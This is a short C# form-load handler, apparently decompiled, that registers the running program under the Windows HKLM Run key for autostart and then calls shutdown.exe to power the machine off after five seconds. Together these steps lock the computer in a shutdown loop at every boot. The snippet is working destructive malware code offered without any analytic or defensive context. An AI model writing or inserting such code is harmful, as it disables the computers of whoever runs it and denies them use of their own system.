Form Load //窗体加载事件
string executablePath = Application.ExecutablePath;
bool flag = !File.Exists(executablePath);
if (!flag)
{
string name = executablePath.Substring(executablePath.LastIndexOf("\\") + 1);
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
bool flag2 = registryKey == null;
if (flag2)
{
registryKey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
}
registryKey.SetValue(name, executablePath);
Process.Start(new ProcessStartInfo
{
FileName = "shutdown.exe",
Arguments = "-s -t 5"
});
}